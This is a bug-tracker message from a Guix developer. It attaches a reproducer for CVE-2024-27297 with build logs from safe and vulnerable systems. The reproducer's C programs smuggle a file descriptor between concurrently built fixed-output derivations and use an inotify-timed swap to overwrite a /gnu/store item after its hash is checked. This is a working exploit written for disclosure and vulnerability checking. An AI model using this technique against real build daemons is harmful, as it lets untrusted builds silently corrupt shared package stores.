As promised, attached is a reproducer that I adapted from the Nix one at
<https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by
puck <https://github.com/puckipedia>.
The program demonstrates the vulnerability using two fixed-output
derivations that must be built concurrently on the same machine.
To do that, run:
guix build -f fixed-output-derivation-corruption.scm -M4
Normally, you’ll find yourself building
“derivation-that-exfiltrates-fd.drv” and “derivation-that-grabs-fd.drv”
in parallel; the former will send a file descriptor to the latter using
a C program, and the latter will use that file descriptor to modify the
contents of /gnu/store/…-derivation-that-exfiltrates-fd after it has
completed.
On a safe system, the ‘guix build’ command succeeds like this:
--8<---------------cut here---------------start------------->8---
$ guix build -f fixed-output-derivation-corruption.scm -M4
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0%
The following derivations will be built:
/gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv
/gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
/gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv
building /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv...
building /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv
The following build is still in progress:
/gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
swaptrick finished, now to wait..
successfully built /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
building /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv...
This depends on /gnu/store/b03pq9ns0y7l12c08wy9jc8lbmkmy33j-derivation-that-grabs-fd-65f05a81-17185, which will grab the file
descriptor and corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185.
Here is what we see in /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185: "This is the original text, before corruption."
Failed to corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185, your system is safe.
successfully built /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv
/gnu/store/5xsvwbld5c5zxi075j45sfnvsx9f658v-checking-for-vulnerability
--8<---------------cut here---------------end--------------->8---
On a system that is still vulnerable, we get this instead:
--8<---------------cut here---------------start------------->8---
$ guix build -f fixed-output-derivation-corruption.scm -M4
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://guix.bordeaux.inria.fr'... 100.0%
The following derivations will be built:
/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv
/gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv
/gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
building /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv...
building /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv
The following build is still in progress:
/gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
swaptrick finished, now to wait..
successfully built /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
building /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv...
This depends on /gnu/store/iqggpsrj9i0ydpqpb98iszx1vnbkgr19-derivation-that-grabs-fd-65f05aca-17261, which will grab the file
descriptor and corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261.
Here is what we see in /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261: "This file has been corrupted!\n"
We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!
builder for `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed with exit code 1
build of /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv failed
View build log at '/var/log/guix/drvs/gp/h10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv.gz'.
guix build: error: build of `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed
--8<---------------cut here---------------end--------------->8---
At this point,
/gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261
is corrupt:
--8<---------------cut here---------------start------------->8---
$ cat /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261
This file has been corrupted!
--8<---------------cut here---------------end--------------->8---
You can remove those corrupt test files by running:
guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*
You can find corrupt files in your store by running:
guix gc --verify=contents
This is expensive because it reads every single file under /gnu/store
and check the hash of each store item against that recorded in
/var/guix/db/db.sqlite. It should flag all the
/gnu/store/…-derivation-that-exfiltrates-fd* outputs.
Ludo’.
;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
(use-modules (guix)
(guix modules)
(guix profiles)
(gnu packages)
(gnu packages gnupg)
(gcrypt hash)
((rnrs bytevectors) #:select (string->utf8)))
(define (compiled-c-code name source)
(define build-profile
(profile (content (specifications->manifest '("gcc-toolchain")))))
(define build
(with-extensions (list guile-gcrypt)
(with-imported-modules (source-module-closure '((guix build utils)
(guix profiles)))
#~(begin
(use-modules (guix build utils)
(guix profiles))
(load-profile #+build-profile)
(system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
(computed-file name build))
(define sender-source
(plain-file "sender.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IOLBF, 0);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up an abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
printf(\"attempting connection...\\n\");
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
if (errno != ECONNREFUSED) break;
usleep(500000);
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = \"\";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror(\"sendmsg\");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}"))
(define receiver-source
(mixed-text-file "receiver.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0) perror(\"bind\");
res = listen(sock, 1);
if (res < 0) perror(\"listen\");
while (1) {
setvbuf(stdout, NULL, _IOLBF, 0);
printf(\"accepting connections...\\n\");
int a = accept(sock, 0, 0);
if (a < 0) perror(\"accept\");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
int res;
// Grab the copy of the file descriptor.
memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
printf(\"preparing our hand...\\n\");
ftruncate(res, 0);
// Write the expected contents to the file, tricking Nix
// into accepting it as matching the fixed-output hash.
write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));
// But wait, the file is bigger than this! What could
// this code hide?
// First, we do a bit of a hack to get a path for the
// file descriptor we received. This is necessary because
// that file doesn't exist in our mount namespace!
char buf[128];
sprintf(buf, \"/proc/self/fd/%d\", res);
// Hook up an inotify on that file, so whenever Nix
// closes the file, we get notified.
int inot = inotify_init();
inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
// Notify the smuggler that we've set everything up for
// the magic trick we're about to do.
close(a);
// So, before we continue with this code, a trip into Nix
// reveals a small flaw in fixed-output derivations. When
// storing their output, Nix has to hash them twice. Once
// to verify they match the \"flat\" hash of the derivation
// and once more after packing the file into the NAR that
// gets sent to a binary cache for others to consume. And
// there's a very slight window inbetween, where we could
// just swap the contents of our file. But the first hash
// is still noted down, and Nix will refuse to import our
// NAR file. To trick it, we need to write a reference to
// a store path that the source code for the smuggler drv
// references, to ensure it gets picked up. Continuing...
// Wait for the next inotify event to drop:
read(inot, buf, 128);
// first read + CA check has just been done, Nix is about
// to chown the file to root. afterwards, refscanning
// happens...
// Empty the file, seek to start.
ftruncate(res, 0);
lseek(res, 0, SEEK_SET);
// We swap out the contents!
static const char content[] = \"This file has been corrupted!\\n\";
write(res, content, strlen (content));
close(res);
printf(\"swaptrick finished, now to wait..\\n\");
return 0;
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
close(a);
}
}"))
(define nonce
(string-append "-" (number->string (car (gettimeofday)) 16)
"-" (number->string (getpid))))
(define original-text
"This is the original text, before corruption.")
(define derivation-that-exfiltrates-fd
(computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
(with-imported-modules '((guix build utils))
#~(begin
(use-modules (guix build utils))
(invoke #+(compiled-c-code "sender" sender-source))
(call-with-output-file #$output
(lambda (port)
(display #$original-text port)))))
#:options `(#:hash-algo sha256
#:hash ,(sha256
(string->utf8 original-text)))))
(define derivation-that-grabs-fd
(computed-file (string-append "derivation-that-grabs-fd" nonce)
#~(begin
(open-output-file #$output) ;make sure there's an output
(execl #+(compiled-c-code "receiver" receiver-source)
"receiver"))
#:options `(#:hash-algo sha256
#:hash ,(sha256 #vu8()))))
(define check
(computed-file "checking-for-vulnerability"
#~(begin
(use-modules (ice-9 textual-ports))
(mkdir #$output) ;make sure there's an output
(format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
#+derivation-that-grabs-fd
#+derivation-that-exfiltrates-fd)
(let ((content (call-with-input-file
#+derivation-that-exfiltrates-fd
get-string-all)))
(format #t "Here is what we see in ~a: ~s~%~%"
#+derivation-that-exfiltrates-fd content)
(if (string=? content #$original-text)
(format #t "Failed to corrupt ~a, \
your system is safe.~%"
#+derivation-that-exfiltrates-fd)
(begin
(format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
#+derivation-that-exfiltrates-fd)
(exit 1)))))))
check
Debbugs is free software and licensed under the terms of the
GNU Public License version 2. The current version can be
obtained from https://bugs.debian.org/debbugs-source/.